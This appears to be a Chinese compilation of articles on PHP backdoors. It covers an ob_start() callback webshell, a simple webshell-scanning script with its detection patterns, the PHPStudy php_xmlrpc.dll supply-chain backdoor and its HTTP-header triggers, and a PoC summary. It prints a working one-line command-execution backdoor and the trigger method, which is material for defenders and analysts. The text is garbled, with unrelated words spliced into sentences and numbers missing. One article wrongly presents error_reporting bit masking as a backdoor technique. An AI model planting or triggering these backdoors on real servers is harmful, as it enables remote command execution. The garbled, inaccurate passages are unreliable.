1.网站安全分析:PHP ob_start函数后门分析
2.我在网上下载了一个php网站程序,后后门有后门求高手解答
3.PHPStudy后门事件分析
4.PHP中使用按位取反(~)函数创建后门
5.PhpStuday后门复现+poc
网站安全分析:PHP ob_start函数后门分析
9月日消息:站长之家从日志宝安全团队获悉,门源码近日,源码根据日志宝分析平台的最新分析数据显示,部分网站的版输访问日志中存在大量命令执行类后门行为。我们与用户取得联系后拿到后门文件代码。后后门新闻 源码 投票功能此类后门通过PHP的门源码ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的源码命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最新最终以Web服务器权限远程执行任意命令。版输
PHP 手册中关于ob_start()函数回调机制的后后门相关说明:
Ob_start()函数后门代码如下:
php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?
后门利用效果如下图:
针对此类后门行为,建议站长们检查网页源代码中是门源码否出现ob_start()函数调用,并检查ob_start()的源码参数是否是常见的命令执行类函数(system,exec,最新popen,版输shell_exec等)或者其他可疑函数调用。
为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:
#!/usr/bin/php -q
php#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval($_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),winpcap 源码 发包exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval(base 匹配经过base编码后的后门
#eval(gzuncompress 匹配经过gzip压缩过的后门
#`*` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)
#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) result.log
程序的分析结果将保存在当前目录下的result.log文件中
set_time_limit(0);
function find($directory)
{
$mydir=dir($directory);
while($file=$mydir-read()){
if((is_dir("$directory/$file"))($file!=".")($file!=".."))
{
find("$directory/$file");
}
else{
if($file != "." $file != ".."eregi(".php",$file)){
$fd=realpath($directory."/".$file);
$fp = fopen($fd, "r");
$i=0;
while ($buffer = fgets($fp, )) {
$i++; if((eregi("eval($_POST",$buffer))||(eregi("system(",$buffer))||(eregi("exec(",$buffer))||(eregi("shell_exec(",$buffer))||(eregi("popen(",$buffer))||(eregi("phpinfo(",$buffer))||(eregi("passthru(",$buffer))||(eregi("proc_open(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval(base",$buffer))||(eregi("eval(gzuncompress",$buffer))||(eregi("preg_replace(/^/e,$",$buffer))||(eregi("preg_replace("/^/e",$buffer))||(eregi("assert(",$buffer))||(eregi("ob_start(",$buffer))||(eregi("error_log(",$buffer))||(eregi("dl(",$buffer))){
all();
echo "可疑文件路径:".$fd."rnLine".$i.":".$buffer."rnrn";
}
}
fclose($fp);
}
}
}
$mydir-close();
}
function all()
{
static $count = 1;
echo $count;
$count++;
}
find($argv[1]);
使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。
注明:本安全报告来自日志宝,官方网站www.rizhibao.com
我在网上下载了一个php网站程序,有后门求高手解答
楼主你好,源码下载后,用杀毒软件杀下,看有没有木马
然后你可以检查看下代码中有没有可疑的自启动源码js代码,也有可能是马
程序的bug这个我就不说了,难,任何程序都可能有bug,只是发现与没发现的问题
如果是很牛的人的源码,人家在程序里面放了马,藏得很深的话,估计找出来也难,建议还是用出名一点的源码程序!要么自己开发或请人开发!
PHPStudy后门事件分析
本文深入剖析了在PHPStudy后门事件中,PHP环境集成程序包phpStudy遭遇供应链攻击的细节。程序包中内置的PHP的php_xmlrpc.dll模块被植入了后门,这一后门不仅具备反向连接木马功能,还能正向执行任意PHP代码。
受影响的版本包括:php\php-5.2.\ext\php_xmlrpc.dll、php\php-5.4.\ext\php_xmlrpc.dll、PHPTutorial\php\php-5.2.\ext\php_xmlrpc.dll、PHPTutorial\php\php-5.4.\ext\php_xmlrpc.dll。攻击者通过@eval()函数定位到恶意代码引用位置,利用@错误信息屏蔽专用符号和Eval()函数执行代码,通过中间的%s格式符接收传参。
分析过程中,wow zero 源码确认了两个主要的判断条件:一个是判断ACCEPT_ENCODING是否等于gzip, deflate,来决定是否执行基于HTTP_ACCEPT_ENCODING的内容解密并调用zend_eval_strings()函数,执行任意恶意代码。另一个是判断ACCEPT_ENCODING是否等于compress,gzip,以此触发通过关键部分@eval(gzuncompress('%s'));执行解密的代码。
通过构造特定的HTTP头,可以触发正向和反向连接。例如,将Accept-Encoding设置为gzip,deflate可以触发正向连接部分,而设置为compress,gzip可以触发反向连接部分。在实际操作中,动态调试工具如OD被用于辅助定位和构造有效载荷。
后门功能分析包括两个PHP脚本:一个用于模拟GET请求,另一个则内置了域名表和端口表,通过遍历发送数据。执行流程和构造有效载荷的细节则需根据具体原理进行构建。
为了验证漏洞的存在,可以使用漏洞插件,如长亭科技xray社区漏洞扫描器。源码论坛关闭此插件能够帮助快速验证受影响的站点,并提供相应的检测规则和链接。
网络特征主要包括特定的HTTP头,例如Accept-Encoding:gzip,deflate的格式,以及Accept-Charset的Base编码。文件特征则是特定的字符串模式,如%s;@eval(%s('%s'));等。受影响的站点则涉及多个提供软件下载的网站,验证过程需要针对这些站点进行。
综上所述,PHPStudy后门事件展示了供应链攻击的严重性和复杂性,对于开发者和安全团队而言,了解并防范此类攻击至关重要。在实际应用中,应加强安全措施,定期进行漏洞扫描,以及更新和验证依赖库的安全性。
PHP中使用按位取反(~)函数创建后门
PHP中使用按位取反(~)函数创建后门
本文将介绍在PHP中如何利用按位取反(~)函数创建后门的原理及方法。首先,我们需要了解PHP的位运算符。
在PHP中,按位取反(~)运算符能够将一个整数的二进制位进行反转。如果原数的某位是0,则该位变为1,反之亦然。这个特性在某些场景下可以用来绕过安全机制,创建后门。
例如,通过将按位取反运算应用于错误报告的配置,可以实现特定错误的隐藏。在php.ini文件中,可以通过设置`error_reporting = E_ALL & ~E_NOTICE`来仅显示除了`E_NOTICE`级别的错误信息。这里的`E_ALL`表示所有错误,而`E_NOTICE`表示提示级别的错误。通过按位取反运算符`~`,可以得到一个与所有错误位相同,但`E_NOTICE`位相反的值。
具体步骤如下:
1. 首先,获取`E_ALL`的值,即所有错误位的二进制表示,如``。
2. 然后,获取`E_NOTICE`的值,即提示级别的错误位的二进制表示,如``。
3. 接着,对这两个值进行按位取反运算,即将`E_ALL`的值的每一位与`E_NOTICE`的值的对应位进行取反,得到``。
4. 最后,将结果与`E_ALL`的值进行按位与运算,得到最终显示的错误报告位,即``。这表示除了`E_NOTICE`级别的错误,其他所有错误都将被报告。
通过这种方式,可以有效地隐藏特定级别的错误信息,实现后门的创建。在实际应用中,可以利用这个特性来绕过某些安全检查,实现非法访问或数据泄露。
需要注意的是,这个方法依赖于特定的编码方式。在复制代码时,如果出现HTTP状态错误,可能是由于编码问题导致的。对于这种'乱码',需要确认其实际编码格式,如ISO--。在实际操作中,确保编码正确性对于后门的实现至关重要。
总结,利用PHP中的按位取反(~)函数,可以在一定程度上创建后门,绕过安全机制。但同时也提醒开发者和安全人员注意防范此类攻击手段,加强系统安全配置,确保数据和应用的安全性。
PhpStuday后门复现+poc
文章内容包含以下要点:
1. **PHPStudy后门复现**:PHPStudy是一款集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等软件的免费PHP开发环境,广泛应用于PHP学习与开发。年,杭州警方通报指出该软件存在后门。本文详细描述了后门的实现与检测方法。
2. **漏洞详情**:影响版本包括php-5.2.与php-5.4.。后门代码位于\ext\php_xmlrpc.dll模块中。攻击者可通过特定请求头字段触发后门执行。
3. **检测与复现**:通过分析phpStudy与版本,定位漏洞代码。复现方法包括启动对应版本环境,添加特定请求头字段(如`Accept-Charset`与`Accept-Encoding`)进行攻击。
4. **利用示例**:以`Accept-Encoding: gzip,deflate`与`Accept-Charset`字段添加`base`编码的执行语句(如`system('whoami')`)作为payload进行攻击。完整数据包示例展示了攻击流程。
5. **代码示例**:提供了一个Python验证脚本,用于验证漏洞复现,包含随机生成的User-Agent列表与自定义的`checkTarget`与`exploit`函数。
6. **修复方式**:建议从官方下载原始版本的php_xmlrpc.dll替换系统中存在的文件,以修复后门。
7. **总结与建议**:环境搭建与漏洞检测可能较为耗时,需要注意payload中`base`编码的正确性,且执行该过程应在安全与合法的范围内进行。漏洞复现有助于了解安全漏洞并提高安全意识。